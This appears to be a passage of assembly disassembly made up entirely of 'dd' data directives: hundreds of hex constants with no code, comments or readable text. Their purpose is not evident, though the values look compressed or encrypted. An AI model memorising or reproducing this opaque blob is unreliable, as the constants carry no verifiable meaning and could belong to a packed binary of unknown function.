0C594B4Ch dd 0CFD5CED8h, 84C6580Eh, 28A1F222h, 0A03CB0E9h, 0B89A900h dd 0B34139E6h, 0AF791A00h, 11EE533Eh, 6C7849BAh, 4E245603h dd 0CB98EC47h, 0F7045E33h, 0DC86797Fh, 6C90DCD0h, 0A64300EEh dd 5C0C204h, 0C4F80BAEh, 0F970DEB8h, 0FD00DD74h, 9E47B03h dd 87D327h, 0A8EEF32Ah, 1A16BDB9h, 13EF2801h, 0CA04AC19h dd 94C40420h, 58BFE094h, 0B13B4CD4h, 0C7238425h, 44B34F1Fh dd 0AB142670h, 0B20300A0h, 0DD7F97D4h, 2C00C377h, 0BCF61AC2h dd 0BD8C6543h, 50864140h, 5A00DA7Ch, 23BF8AABh, 242971D8h dd 82388E78h, 726A5D39h, 0E0908C68h, 3D9F4E01h, 0FE6ED163h dd 24C3160h, 122F01A1h, 45E0CCB1h, 7D00D3FFh, 0F0BBF699h dd 0BA4CB0EDh, 20D16F74h, 0DA7ED040h, 670B0D2Fh, 686C980Fh dd 2235D24h, 0C7E913F6h, 3071AEEDh, 2A9EA08h, 6A575644h dd 0FD40D08Fh, 91825D95h, 0DE43B805h, 508C6938h, 21FB0FAEh dd 90879FD0h, 0D191C0D7h, 982CB74Fh, 280007Ah, 64577F71h dd 2B9A880Ch, 0A02C4804h, 84E4C189h, 1387F6C4h, 41828DA8h dd 7D472190h, 93838A7h, 663013h, 0EE8BAB1Ah, 0D1C50A7Eh dd 0EC52365h, 2F63516Ah, 31093BA6h, 0C8542930h, 0B0A1E950h dd 2B260054h, 0A476714Dh, 130539D6h, 97FB1D63h, 0B17FF888h dd 7AE8A660h, 79DA3181h, 0D0C1E2B0h, 0C0A0CA76h, 0E6F617BDh dd 84499219h, 0B5D42789h, 3F1090D8h, 5580073Dh, 0EB374150h dd 140EF2AFh, 4B2B92DDh, 7ACC006Ah, 9A04513h, 8D02B670h dd 8922BB20h, 5C176186h, 0F400D7B2h, 1B91D56Eh, 9B7D1DA9h dd 4273C159h, 638944E3h, 26E4099Ch, 12FC6EDDh, 0ADB830h dd 1CCDFEA4h, 0A21FC2A8h, 5D826696h, 0CBA4C880h, 0C692C8F8h dd 6E820B6Fh, 150064AEh, 6BC7DD94h, 1EBB9507h, 6A550886h dd 0BF287C80h, 1A230BEh, 6293B411h, 0C912F505h, 9C80490Bh dd 3F3206A7h, 88D88F4Ah, 21892011h, 0B4F16108h, 196864FBh dd 0C5833300h, 49E61FEh, 0B09F093Bh, 88A21459h, 9A1063A8h dd 78C08229h, 9300C1EDh, 14881FB5h, 9A75E68Fh, 0EE4C0FECh dd 454079ADh, 9CF8BCD8h, 0A1881B00h, 1562327Eh, 581FCAFh dd 46D4E1CCh, 5C1F80F7h, 0A70045A8h, 0C09BC39Fh, 28252368h dd 12CC3EC9h, 374F5Ah, 0FEFB135Fh, 0F80017E3h, 9DF40351h dd 3E745Bh, 823823E6h, 0BB2EEEF7h, 7C0798B0h, 0A301721h dd 63C06B15h, 0F69811Ah dd 0A849A550h, 8E7AF00h, 0BD00C672h, 25824B6Ch, 6B2040h dd 0BC099C2h, 325B2706h, 33B2470Fh, 148C741Bh, 0E0B559h dd 0AE74BA5h, 3D47EE02h, 0A28164B3h, 135C54Dh, 0FDBAE0EDh dd 0FEDD1A0Eh, 91BCC054h, 9B5BB2h, 7DFF143Eh, 882FE0DCh dd 2DCE7201h, 0AE45D6FBh, 0BF57FCh, 0A5A1875Ah, 3B00C3Bh dd 2E20AA04h, 0BA80EE4Bh, 3FBC16E8h, 8500BA3Dh, 38D4F25Ch dd 6E0FCC73h, 20AB9FF1h, 1BEBCB98h, 0E43C04DAh, 908BCAE8h dd 2AB05EACh, 41CB524h, 8FA9DF01h, 22EA3B2h, 14BF75C8h dd 974070E0h, 0E793D600h, 6FA7A16h, 0EA2B7E41h, 88810CD4h dd 0A5282E10h, 0F9548400h, 0B04065C5h, 0A0CE4DC7h, 0AA559B00h dd 952FAD45h, 0D440025Fh, 0C060ED3Bh, 60789230h, 0A429483Fh dd 1C90066Ch, 91E2BA0Eh, 1B73E060h, 13E1931h, 0A6289F5Fh dd 30FF76ECh, 9B00FCB0h, 95B33DDEh, 5A74B1h, 2F4CED05h dd 0A555238Eh, 6E8C3316h, 25D29040h, 26274184h, 8028479Dh dd 0F8B7D1F3h, 74007BF9h, 2C384A8Ch, 0C03097A6h, 3D049D88h dd 92009E3Ch, 70011BB3h, 7542026h, 9B5CEF42h, 6E0870C4h dd 0EA0062AAh, 0B867599h, 1E856368h, 78F2A55h, 0EBEBFF52h dd 70468B07h, 5953819Dh, 0B77C8AF6h, 54131C00h, 0DD390BD9h dd 0C62D00B6h, 7F0FB9B4h, 280008D8h, 308B2290h, 3D3F2C46h dd 2730AEC1h, 2C83EA6h, 755339h, 0EB4D5955h, 334B88h, 810C22FAh dd 5EE3F911h, 83D2F300h, 4896893Eh, 17EAC4h, 13E5E842h dd 2437B2BBh, 90286475h, 3927E097h, 74C0E019h, 0BEF6DBh dd 5F7D7BD6h, 0BA501F2Bh, 32B59200h, 6DEA035Eh, 88E700C7h dd 2F4561CEh, 0A7000416h, 8A489C8h, 2628FA0Dh, 948869h dd 6872B2FFh, 8F046A02h, 0FB6E1074h, 0CC1578A1h, 27F978C0h dd 96B71C5Eh, 80D49E2Dh, 869881CAh, 0CF0016E3h, 91B3882Ah dd 756697F7h, 9C43264Ch, 0DDEF001Ch, 744F445h, 0B11F9498h dd 0FE2608h, 0F9794E2Bh, 0CD247FEh, 96DBE9D1h, 9100F1F0h dd 0EC9239EEh, 370593h, 0D6672C4Eh, 7DDACEA3h, 276E0A14h dd 80613D83h, 0B4015F7Fh, 49EBD1Eh, 411FBF90h, 85FAC071h dd 0F161A0E4h, 0F82977F1h, 0C4221863h, 1FB8E21Dh, 77BC9FC0h dd 29ED6E4h, 5CC5CC2h, 0D8409AD3h, 0BA006C81h, 1F03EF25h dd 9A64BCBh, 3AAC6A7Fh, 39E23C60h, 12A9A50Eh, 0B7405E35h dd 4861B18Ch, 0C35300EAh, 25F74CF6h, 0E0091894h, 81D0FB31h dd 657D8E38h, 122CFC22h, 0C0AD15BDh, 88A2FA02h, 47066CFh dd 0E5EBBC00h, 20420E8Dh, 4BA60007h, 3B2C4A9h, 50B03BE8h dd 0AA45D1Eh, 0A7439B81h, 1DE074C2h, 0E5C9CAFFh, 41CA00C1h dd 0A06E7BACh, 6DB4500h, 0AA46E70Eh, 0A5810061h, 919F0D48h dd 52006775h, 0F4C716F8h, 1BAF056h, 9A92B893h, 0F48B7433h dd 0C8C08997h, 3C09D92Ah, 12C09057h, 83DE8C05h, 0E4A09278h dd 0A60083E1h, 0AC90E26Bh, 0B8CEE6Fh, 26ED64B0h, 84418060h dd 3B006171h, 1B0215DDh, 2A776FEh, 0D856A67Ch, 8CA077A2h dd 6F3322BAh, 748948h, 7895A4C7h, 18AF021Ch, 6ED33154h dd 109D4620h, 5FC24E8h, 0B73C6EE8h, 0C52CA059h, 0F41ACA01h dd 3BF248A3h, 306403E0h, 7121875Eh, 0A9014EE5h, 0D3D90D07h dd 48303488h, 430B1E96h, 0F9090F49h, 35901400h, 0C7033050h dd 37AE4BF5h, 0DDABA093h, 876500F1h, 0A3C0A433h, 787B5C12h dd 4719D2Ch, 70907092h, 97F1C258h, 0E6B22C80h, 7A05BB36h dd 276C240Bh, 0C100F4E6h, 446F49A9h, 0DA0174D7h, 0A3208A59h dd 307CFDC3h, 2BB85E01h, 0F4193C28h, 0FC98EBB9h, 8F887503h dd 578065Ah, 0E2E4F310h, 20268731h, 9B19B983h, 0AF9FAE05h dd 9500980Fh, 9C6B293Bh, 84EC02A4h, 0B5BA6148h, 0F4F250E9h dd 43263B02h, 1D8AF0A8h, 9E04ABE4h, 98803F99h, 40984h dd 898FA3C6h, 48F7E2C4h, 683C57F8h, 8621EE9h, 0A143E41Eh dd 64BA71h, 31924F48h, 3FF586F1h, 0B58BFF00h, 240CD866h dd 87FA1AD0h, 14C028FDh, 0F300A1B9h, 2B6354B6h, 7B31CEh dd 0DD18F408h, 0EA9575BDh, 686D8D06h, 0F8DBC7h, 0E62103E8h dd 0CD4F8446h, 33AD5A03h, 98365DA7h, 3AB8CA0Eh, 3FFC6E99h dd 8480B34Fh, 0C355607Ch, 14141AA0h, 1CFDC922h, 0E2828C6Dh dd 7C8AEB94h, 0A06C00C0h, 9AA413CDh, 0F3747F24h, 0F88C283Eh dd 67016102h, 405C022Ah, 0BEA649h, 1346D5A3h, 7AE24A47h dd 39AADD00h, 0EC44120Bh, 0A6B007CFh, 2572D81h, 18788F2Ch dd 53F4F00Fh, 80CAA951h, 0EA99E764h, 47A9072Fh, 0F00501F2h dd 5932D977h, 0D2BD9601h, 375D7F75h, 0B4871C60h, 0A8F24534h dd 940E7D5Ch, 1A2EE29Bh, 61EE6010h, 60E31DBDh, 21CD4A49h dd 2F8389FCh, 7D983CF2h, 84002D4Bh, 8C6081E7h, 0A16901CCh dd 56EC145h, 46BE465h, 2A8D6807h, 3F36FEBCh, 85E30930h dd 708CA19Bh, 0A9005C10h, 563B3490h, 3DA7B0E9h, 91EF993h dd 50EE8Bh, 0AD77837Ch, 7FFEF759h, 88DBB000h, 0F4847DFCh dd 0C8E500A2h, 2CB4E06Bh, 6700808Bh, 75C65A71h, 98C556ADh dd 0BDB8005Bh, 0F51870D5h, 2105633Ah, 2540F73h, 1B372780h dd 926F079Ch, 1188CA83h, 80DFDD3Ah, 0C66885F8h, 90FE329h dd 0A24FCF1Bh, 0E646A4A0h, 0EE2E0309h, 3E008B45h, 0B31AD631h dd 65750098h, 0C750F654h, 0BB0058F2h, 0E41490B9h, 988B3735h dd 798A00A0h, 0F0553E69h, 8E22039Fh, 3B9807D4h, 80C44CE7h dd 0C59C8AAFh, 38B9F75Ch, 57B209DDh, 16D48F3Bh, 96BC0F4h dd 957B40D6h, 361198A0h, 5D00FC99h, 4DAC4C91h, 120D2002h dd 803C892Fh, 5911CE34h, 0E0621600h, 0F3C6A896h, 5274003Eh dd 93A631D5h, 6F5802D6h, 489901E4h, 0DDF7A19Dh, 0FA6920h dd 9B7897FCh, 0DE93647h, 0DCAA1B12h, 12CE4082h, 5002456h dd 661F9A27h, 0BACA078Ah, 0F0AAA5AFh, 2A595C4Dh, 0C042AC01h dd 0DFA3240h, 0DBF1F0h, 38D2EB46h, 340EA998h, 5CBCE400h dd 939C3E7Eh, 2933043Fh, 80139973h, 270F4A5Ch, 0E53DA00h dd 2E2FE720h, 48654832h, 120C941Dh, 6268025Ch, 0EA04D1F1h dd 0E2A0D0FCh, 0F0C1D637h, 346E2375h, 0B868006Fh, 89EECD06h dd 2142AC94h, 7BE0005Eh, 0D760E332h, 6ECD8D38h, 834600A2h dd 0C1DC3B1Dh, 0D30F298Fh, 0E48EA089h, 180559D1h, 0F00CC711h dd 6E108D2h, 3C10B659h, 0E44D2AEBh, 0E1EFCE25h, 71A60EF0h dd 0ED28B973h, 0BE3127E1h, 74981811h, 0B509DE70h, 0B724C7h dd 4E6F5834h, 4328009Bh, 0A4C96433h, 170092C4h, 7432CEB3h dd 0FC58118Ah, 7CBB909Ah, 0A7BA0067h, 0C59B304Eh, 7B1E0CC7h dd 2B4D97F0h, 0C8DC9825h, 0FD1A0080h, 0D6DC860Eh, 9000B4E6h dd 1C069527h, 3387407h, 2C584365h, 2001DE7Dh, 0FF7ECAF3h dd 42D8165Fh, 18BA0095h, 922E7F1Eh, 0A8B04C33h, 2BE9F200h dd 87A42324h, 0EC4B1D26h, 40F69F72h, 0CD16F1A5h, 0CE008E97h dd 0B002A38Ch, 147B1CAh, 546DD568h, 708D7306h, 43E23C1Eh dd 0ADAC2C54h, 0EE0ECD7Bh, 60402849h, 0ACE77AE3h, 0DF7282h dd 22462E0Eh, 1657856Dh, 8B281805h, 40BCF9B4h, 4B6BC407h dd 0AC09C0F5h, 9D3F0838h, 0A3B8504Dh, 6200DD73h, 0B4693DCBh dd 4A8AB16h, 0B831A53Fh, 0C874C314h, 47D14FCBh, 1C042874h dd 0F4940A9h, 622080E2h, 60E5A682h, 67D81687h, 0C700256Fh dd 5C7ADCF0h, 4C544658h, 34007FB6h, 9DBC1DDFh, 0F000FD7Fh dd 9B8CEBDEh dd 674D5Bh, 0F6C4A779h, 0A9AB5AA6h, 8FADDC12h, 0B2970B0h dd 0D15369EEh, 0E3611440h, 0B288A00h, 67442E08h, 0B57D2DD6h dd 0D36B8CE8h, 69C03800h, 73BA46EDh, 0C54D00E0h, 0C840E16Eh dd 4B01E271h, 547C38CFh, 55E43CCBh, 62B658CCh, 3BCEF28h dd 0C0ACC526h, 113CCD38h, 4A73E9Dh, 9A174A6Ah, 607290E4h dd 645799CCh, 513AEDBDh, 3DF11D94h, 1B98B883h, 0D0AE062h dd 1E4926Ah, 0ACCD253Ch, 3495E5D7h, 0F606F140h, 5189D9DCh dd 0CD0A0048h, 0D7E1E58Ch, 0D83A20E8h, 914080D0h, 0A9993FD4h dd 0CA9B5CCFh, 9A2C5300h, 6C8C9514h, 0EAEC120Ah, 0A0A2C1Ch dd 0ED003C0Ch, 4F64B5BDh, 0C5611DA0h, 5ADE8048h, 3E418E46h dd 98B90B00h, 69D12BD3h, 4D6C00D5h, 0E327D60Dh, 0CE00EDC6h dd 351DA0E5h, 0AFF5B3h, 0AAE9B22Eh, 23D10F47h, 72A2201h dd 0CF2FFDCEh, 0F87E76CCh, 4639003Bh, 1A621EEDh, 2900C1C6h dd 0DBB89F63h, 0E48D0A9h, 0EDD133EFh, 0B2CD8A60h, 0C375054Ah dd 0B6F2DA00h, 9B9025EEh, 89AD0634h, 0D1F9F0AEh, 3AC26400h dd 16E39AA2h, 225400BCh, 2538218Eh, 0D503041Ah, 5E14F744h dd 0EF4AA374h, 2A49BE20h, 0C9F20283h, 0CE0AA048h, 5B68E0A0h dd 690AEA7Eh, 0A0A3B3C0h, 0CD11A006h, 156E0121h, 5F622AC9h dd 403A3025h, 4AE49h, 0D52E4E3Fh, 3F55947Ah, 6980E96Fh dd 0DEC992B5h, 0A054C6FFh, 4F1C7EC8h, 0B080652Eh, 7C23FD60h dd 0FACD00B1h, 0F075336Fh, 587E0849h, 0C691740Ch, 0F43994h dd 1CFE6A42h, 0B79B8DC3h, 5E9F5A00h, 9203F049h, 1E7090DAh dd 80090AD4h, 16916041h, 2104067Ah, 4DA06193h, 190488h dd 0E9D3202Eh, 159F8CC7h, 1DE8D777h, 0F20CCF00h, 1B16A06Ah dd 90D11F57h, 0E9D9D898h, 1000B4F4h, 9EDDCF80h, 0CAA5471Ah dd 0D0049C11h, 0D53EBAF4h, 36190381h, 0E07EFF06h, 1CD39360h dd 6433C1AAh, 9EDF00B3h, 327183F7h, 0A2008075h, 42C87C9Ch dd 3B41AFAh, 88BC5CD9h, 6CABC587h, 988DC3CCh, 0CF5BB890h dd 8AF33E0Fh, 91019CE4h, 69139BE5h, 6E4C9040h, 0F2DEC0Eh dd 3CD68D8Ah, 0FDA95C2h, 0B618EFE0h, 539A7A07h, 5F5E13D8h dd 0C22F2580h, 622191h, 15FD4BB5h, 7363044Dh, 0E3008275h dd 0F8A7983Fh, 54FE91h, 903157A4h, 7875958Ah, 866E0F2Eh dd 5D53A0Eh, 66C16F4Dh, 0CEF00424h, 0C2A6008Eh, 38EBF06Ch dd 0E500EA73h, 0B07C56EFh, 7D7003h, 5A25661Ah, 49BDD36h dd 953CEEEEh, 50BEB1h, 6297F382h, 501F4C85h, 0B864B4CCh dd 8FE93F9Eh, 6E057700h, 8BEB8C50h, 85C7F701h, 0E4E72C19h dd 28960CEh, 0A9A0010h, 7F9BC371h, 3E784A11h, 445C840Ah dd 8100EEACh, 886CA020h, 0BAA81CD8h, 333105FFh, 64EC40CDh dd 0CC960537h, 57C76D2Ch, 0ABD9A63Eh, 6D01CE17h, 0B014478Ch dd 145C79CCh, 0BC457792h, 7C1AE907h, 0BFFB73D4h, 0C30743B8h dd 0D49ED00h, 0B49F5DC1h, 3CC00B3h, 0D170222Dh, 2401FC2Ch dd 8F7FB18Ah, 0B9AC891Ah, 0D8F600A2h, 46D18319h, 7C00F476h dd 0C2B21851h, 0C4E9B4h, 8CF31F21h, 91FEB6E2h, 8FB7E100h dd 0A1EC0131h, 90A7F6FAh, 60236024h, 0FD7AB5Bh, 0EA01CC0Ch dd 0A221ADh, 41BB9303h, 73DE3DDFh, 0D73CD301h, 338DE595h dd 0BA5BECh, 5E9790FCh, 949A088Fh, 77013900h, 3A7FB851h dd 0ECC60599h, 2DAA1E7h, 0A55256A4h, 0EF38B800h, 0D02650E4h dd 174B03F0h, 0FD42D76Eh, 7A6220B7h, 0AF782DA0h, 93F8D360h dd 90E3355Eh, 0EE8A019Bh, 2E479444h, 0DE702480h, 2795D200h dd 1F7B3B59h, 86E6001Bh, 0E102ABF4h, 0A3790A97h, 0F9619500h dd 7577E52h, 668E0011h, 0B18DFDD3h, 0E6003268h, 0E0F2213Bh dd 8C2842h, 852C4EECh, 0AF044FEDh, 44D67706h, 1B8F052h dd 826EAA1Eh, 7012ABE1h, 493CEB46h, 0B002F8E2h, 0A9EFEC14h dd 9C0460B8h, 0FCE0CFC5h, 2003A1Fh, 3A14DDBEh, 33165A3Bh dd 781096B4h, 560912BFh, 7B221C40h, 4D4F73Eh, 1161ACB5h dd 9334D0A6h, 6C1C0BAFh, 6900AACDh, 0F72286CAh, 36D1F1Dh dd 0FF5143FEh, 12B8C621h, 3900B836h, 0ADDED7C1h, 3403D38h dd 667E2757h, 203913CDh, 3B4D0098h, 9C99BC52h, 1D9B00BBh dd 0E692BFA1h, 3007603Eh, 276B703Ch, 0E0FC24D3h, 0E4B45BB9h dd 83C00004h, 6E521A31h, 5D001DD8h, 0B2354477h, 0EC0D20D3h dd 894B0766h, 0FE698F7Ch, 56C811ACh, 0A2CEE500h, 0EF4D9988h dd 0F5600064h, 0C39DAAEDh, 7700B973h, 0E4430180h, 97B216h dd 40BEDAB5h, 0CB89A652h, 0A883EC03h, 0F09825AAh, 67DE7Ch dd 0DFE8F250h, 829AC4A1h, 24A9AF00h, 85E9EFCAh, 14BA041Bh dd 9063DC29h, 94EA3B48h, 3AA27B07h, 7F0FE2DFh, 62E54940h dd 2DF35Eh, 8A21AEC2h, 82140D31h, 0BFA5A713h, 1643000h dd 1D5A2A05h, 9DF32999h, 20B5215h, 54891BD8h, 806601C1h dd 93B52A11h, 0B027A4h, 0C475F340h, 78A882EEh, 4A42921Fh dd 0CB801824h, 4F5F8344h, 0A234022Ch, 0D58AC945h, 43DE7440h dd 9142650Fh, 8FE161E7h, 0BF07DADh, 4C6D28E4h, 6B9B00E8h dd 0BF0F712Dh, 10F4271Dh, 0B25F5900h, 92FB3B99h, 21BD187Ch dd 78D831D5h, 0D9190D60h, 0E562A53h, 0A08CAD48h, 0FF6B140h dd 73581489h, 4D380030h, 43A85019h, 0B3E900EEh, 59A07116h dd 0FE4C42A4h, 0C0AA0094h, 0F7581990h, 7BF30034h, 89E441D7h dd 5A05F45Eh, 0FAA518BDh, 0BC708EC7h, 0FA92C4Ch, 403C78E3h dd 32971120h, 8D00E416h, 0F7853719h, 390C973h, 0BCB6D2DDh dd 7D90BFDAh, 4E2EB44Ch, 7B0F657Fh, 0C63BC09Ah, 8FCCA6h dd 75E846E7h, 32884D80h, 0F9FD5D00h, 1872DEFAh, 0BFD1001Dh dd 9B80EFBDh, 7704AD73h, 2D0B7BC7h, 0A3CEC3h, 0DA747119h dd 0CF92ADD9h, 0F9DE2500h, 0E3502770h, 7F8B007Dh, 601FB118h dd 0E67EA854h, 33BCA700h, 3987CAFh, 48E0EE08h, 0F403954Ch dd 42C519B7h, 655259A8h, 0F2DD1300h, 8092B138h, 224BA88h dd 2BD2508Eh, 8682CE9h, 0A12C6AB0h, 3A806CBEh, 0FA4020Eh dd 0AD1B0066h, 0B21E59A5h, 1A01633Ch, 246D3278h, 520347Ah dd 7635007Dh, 74CA8030h, 0CF008F2Fh, 0C393317Fh, 18C403Bh dd 5AF8F9C6h, 74684C66h, 0F7B09C60h, 180CB59h, 0EDB4B956h dd 0D4D1A954h, 309286D0h, 4A21C844h, 1A3CD58Eh, 1CAC99D0h dd 0EBD0AB08h, 87143026h, 0A1F303D9h, 2306649Ah, 2E63A5EDh dd 0F49D0008h, 8B465279h, 4C00E2E6h, 0F928CC94h, 5A91BCh dd 76B2A60Fh, 9A6D8C4Dh, 59CE5D00h, 23266E8Bh, 0C2AC019Ch dd 0DD0A0312h, 94B6E0C7h, 4C002B76h, 0AC379197h, 0C545A22h dd 0F8FD2662h, 0A8051B91h, 0AB8591C1h, 0A2FF4C01h, 2DF07804h dd 0F8BC00CEh, 0F5D7C660h, 39CB994Ah, 0C2610783h, 0ABD680D0h dd 905250ECh, 82540AC8h, 428CB892h, 0A890624Ch, 0A83E3D5Fh dd 5C373AF9h, 0C84507A5h, 0C0504D8Dh, 5E8E9Ch, 248DF7Bh dd 86D88433h, 3126087Ch, 9900A1DEh, 0B5F11C51h, 0E99F008Ch dd 62616BC5h, 920050CFh, 1A96DF73h, 0D9CAD4h, 2ED69CEDh dd 3FB2C852h, 0AF0E80E6h, 408CDA54h, 0D945697Ch, 9DF4E9B4h dd 37F260h, 0E659CFC6h, 429998D4h, 0D6006B90h, 0C06FC2D1h dd 25FCCBF1h, 7818A8CFh, 7E01E67Ah, 850B74A1h, 0B2D045D8h dd 2AC1F7Dh, 15688F89h, 0C07F7C87h, 86B72F1h, 6973860Fh dd 8D390701h, 107546h, 0AFCB8418h, 479888D5h, 9009ACB8h dd 76099Fh, 0A1BD0279h dd 870C036Ah, 85086D75h, 8112C0C7h, 17787F71h, 617EC13Ah dd 0C7187930h, 0A9C9Dh, 0B20D5BA1h, 0C504737Fh, 0C6397289h dd 7AB4E8A2h, 0F482BB04h, 6CE1EB23h, 37E03B2Dh, 34D80088h dd 65E69E19h, 56182FD6h, 0E818D064h, 623201BCh, 0C9A4EBA0h dd 0E7B870C5h, 87077825h, 0AF4175C4h, 61BBCAF9h, 0E014FC00h dd 85B51954h, 0B4E14C1Dh, 96319818h, 0C1470F4h, 905AAC08h dd 4C03E099h, 563D946Fh, 1601B0FCh, 0E488001Eh, 3C0E5A4Ah dd 1009A4E8h, 0C31F4B91h, 0D242DF44h, 36CE4F7h, 6246AABCh dd 0CB88A52Eh, 8CC9525h, 1E621B8h, 9D8C46A2h, 83D71AE0h dd 7256FB1h, 0B206A1DDh, 517949E4h, 300B84D3h, 47C0BE88h dd 1AE649Dh, 1CAFF288h, 89C62A21h, 40E28D50h, 93DC28h dd 4E5EDDFEh, 68B5703Ch, 0C2E75304h, 83AF8D1Ch, 0B2E05D22h dd 2E00EF82h, 81B0F44Eh, 31491ED8h, 9150EE86h, 83C84CCAh dd 0C0B6F488h, 72195C91h, 587FC949h, 6B462500h, 874E40C4h dd 19577D2h, 551A0618h, 50CC99F8h, 0E621DE88h, 94F9A9C5h dd 0B97FD043h, 202690D0h, 0B28C00E8h, 0EF4F87F1h, 310454FBh dd 0A0A57DE3h, 3FFD0498h, 0E190EB14h, 809BC8B4h, 0E514F58Fh dd 0DF6329DEh, 0F8085971h, 0E499F4A1h, 0C4C9D0C4h, 0AE01D623h dd 852E6E46h, 0E288B118h, 0D44600A6h, 9D08D97Ch, 96F4A8h dd 0E8078089h, 15623C8h, 0D8843D93h, 0CB120F9Eh, 0BCCAF8E0h dd 562BB0A0h, 203C1B31h, 12FFAC7Bh, 41A61838h, 7C4E2794h dd 3B8100CBh, 97A74ADh, 9FD232CEh, 405B9801h, 0CC818051h dd 4C79DE18h, 867581A5h, 0B2CD1690h, 0FB80A20h, 4074E911h dd 2E6F46B7h, 0C0228D46h, 46AFE300h, 3BACB232h, 0CA7100A6h dd 63FCC84Eh, 80014C6Bh, 0F7BF9C7h, 0F04549B2h, 0A423D83Eh dd 0DF8BC900h, 9D7E578h, 0BD5445D5h, 0C1584820h, 0CC0A7BB8h dd 0B485F9F7h, 6862A080h, 0C601CACh, 8804D4C1h, 21C1AE08h dd 0DA685AC5h, 0F7466D0h, 17674A36h, 0B71D7842h, 8D6F8881h dd 0C10C24E7h, 7214D00h, 57BC5F48h, 2CDB3C9Eh, 0CD0E2401h dd 40A32A31h, 513CB7B8h, 0D0DF2628h, 85A0506h, 2A50ABF5h dd 1E9CD901h, 0F0BC562Dh, 5A511CC0h, 0A730B661h, 8F3A584h dd 0D0D14038h, 5E2E9C01h, 3082B5F0h, 54AC6CECh, 3B0C8C72h dd 40C1EA49h, 843E0602h, 51EE1218h, 0EC029441h, 46AD30D7h dd 7D2E6111h, 0E19EB988h, 5AE246C0h, 444FFBEh, 0BFAD114Ch dd 1D7805Eh, 60C4CB0Eh, 0D088FA2Ch, 214F3D4Dh, 0C885A480h dd 3D1E87C1h, 7D5ED8F1h, 9FD17C02h, 1210E0F7h, 34C07843h dd 0E1EC556Ch, 0E9B3E0E9h, 5DD65F05h, 0F041B27Ch, 1BE01D8Ch dd 0DE0B9832h, 28201227h, 3701040Ch, 0D6FA411Eh, 60124426h dd 9775B049h, 80A49108h, 0AF22D41Ah, 8E29129Ah, 0EF0052D9h dd 0A3DEF200h, 52D405Fh, 0AC65D161h, 0D0C42363h, 0EBC1100Ch dd 63FC0867h, 0B95F59DFh, 27C64CD0h, 0B7836F00h, 0E87098C2h dd 8AC7030Eh, 0E1A1FD65h, 0D32452F0h, 6046E58h, 0DC2CDF11h dd 92B01B81h, 1CC0514Dh, 6D2870F9h, 0B350DC30h, 58CD3F0h dd 2E6546A9h, 148E9Dh, 1E46A1E5h, 43E5142h, 8D770A12h dd 0FC55815Fh, 8A6980DCh, 57F9D629h, 4FF6EBh, 6C4CAAAFh dd 6D4B325h, 20E9A7E1h, 0A440C258h, 0FF770ACAh, 18D4D1A9h dd 0D3A0C1BBh, 81C021B0h, 0F03716CAh, 38750128h, 96CDC7E4h dd 946EA4DEh, 856E5A40h, 1D5312FFh, 0E80C594Fh, 46F019D5h dd 0AD2E2C63h, 0ABE770B8h, 5364609h, 0BE1D845Ch, 3A54A880h dd 0D8A64812h, 4909D948h, 2007967Dh, 725371A0h, 1C4CFEA5h dd 0E114FB02h, 19B51154h, 0F38910A0h, 1EBCB014h, 808E6B48h dd 0B3435D4Fh, 846492ACh, 0A4C48CD1h, 0D280D884h, 26013CD8h dd 8214DE62h, 0C9BD78BAh, 0B4E8CA00h, 6388DC39h, 0EE14FA01h dd 0A7180954h, 14F8608Ah, 66260E04h, 3042ECC3h, 8441A9D1h dd 8FE18A1h, 0E954EA14h, 0B8F68C70h, 0DAF20190h, 9EF7FF03h dd 0F5B030D1h, 6864048Ch, 62901CAAh, 37C32797h, 7791D068h dd 1F58562Eh, 0F2CC8564h, 68612420h, 381C23B7h, 0C637AB11h dd 9D23E320h, 41CD2BB8h, 8458AC11h, 8E67F709h, 6FC72843h dd 937C39E0h, 0CD0FE33Bh, 0E0DD0914h, 8710C6D3h, 6F9D022Fh dd 0A1C455A6h, 0C8FCC485h, 3F00B608h, 7095F265h, 3A4AC6Fh dd 972505EFh, 409029C0h, 96000364h, 981306Ch, 59D63255h dd 4713B488h, 5D1831A0h, 89806E4Ch, 52D61061h, 0AAE27C66h dd 74F55A30h, 1EB104FAh, 80E38601h, 0C5282518h, 0AE92B700h dd 0A22254E4h, 0A4E8173Dh, 780492F9h, 86425B40h, 27073500h dd 0D9B491F6h, 40F200E3h, 578DD734h, 0C1EE0230h, 0E0B982FBh dd 50B05692h, 7040BB70h, 5905E44Ch, 5E7D649Dh, 0C34A7081h dd 4E7EC00h, 1448A54Ah, 8E80BAB1h, 0F1F2A6CBh, 0C50024C0h dd 6E849C21h, 17EFE4Fh, 0BBC4A3EFh, 20A5D52Eh, 28CA268h dd 54ED14FFh, 0F4E5B5F1h, 14F78D87h, 0A2185246h, 912015ACh dd 0BFB680A0h, 2F0A7BCh, 809404Dh, 4C499E0h, 0D2CC9046h dd 57079169h, 0D12E345Ch, 9F29C230h, 67ED0501h, 91FE0F5h dd 0C4826F14h, 0A46ABC92h, 0E8610860h, 29225002h, 60A4F701h dd 548D9C22h, 0F0DCD4h, 5AFE0AECh, 91A1ABDDh, 0EA18CC94h dd 0D4D121h, 0B3A2CE0Ah, 0AF8D2137h, 5E306F0Fh, 445E5754h dd 405822D1h, 0C8A0203Dh, 0B975CE03h, 26CB0108h, 74C41910h dd 2C17BD46h, 63F300CCh, 0F91A0C7Dh, 7CCBC62Eh, 70662EC0h dd 1090C1AEh, 2CD9AA01h, 8CB9EC84h, 233E3700h, 4B06B884h dd 0B7780395h, 0B1ADA859h, 0D130C821h, 0E02618BFh, 0EE8B0198h dd 0F57677F3h, 0A62180B5h, 0E20B3553h, 0AE16009Dh, 0B6B17075h dd 76FC81F1h, 0E88D2635h, 0ACDF2C41h, 8C28E35Fh, 0EC137A3Ah dd 671030F8h, 1C23A968h, 0C0443E88h, 0F6689F00h, 773A0C39h dd 0EF0303D9h, 0AEF57D4Ah, 8503917Ah, 0C6F648BBh, 0B0B4F0D0h dd 1249141Ch, 5A00ACEFh, 0E2F1D4Eh, 0F450D1B2h, 2B00F264h dd 0DFC8E48h, 1CB0632Dh, 1C27AD83h, 349B5242h, 8894CBC4h dd 7369C399h, 978DA80h, 21C445FFh, 728D6CCCh, 29050078h dd 0B311DE1Bh, 0BF353969h, 22FD000h, 203071EAh, 0A05FE228h dd 0C4BC9648h, 9C82B205h, 5E85A8Eh, 0AD38548Bh, 92B4C863h dd 0E9B74930h, 93D1A2ECh, 2808A1D8h, 18114CC0h, 0F38AB23h dd 5054EC14h, 14F88AE0h, 0B1EA58F8h, 3DD4DD00h, 0AE997BE5h dd 3CD0595Dh, 0E8B3C59h, 0B891E097h, 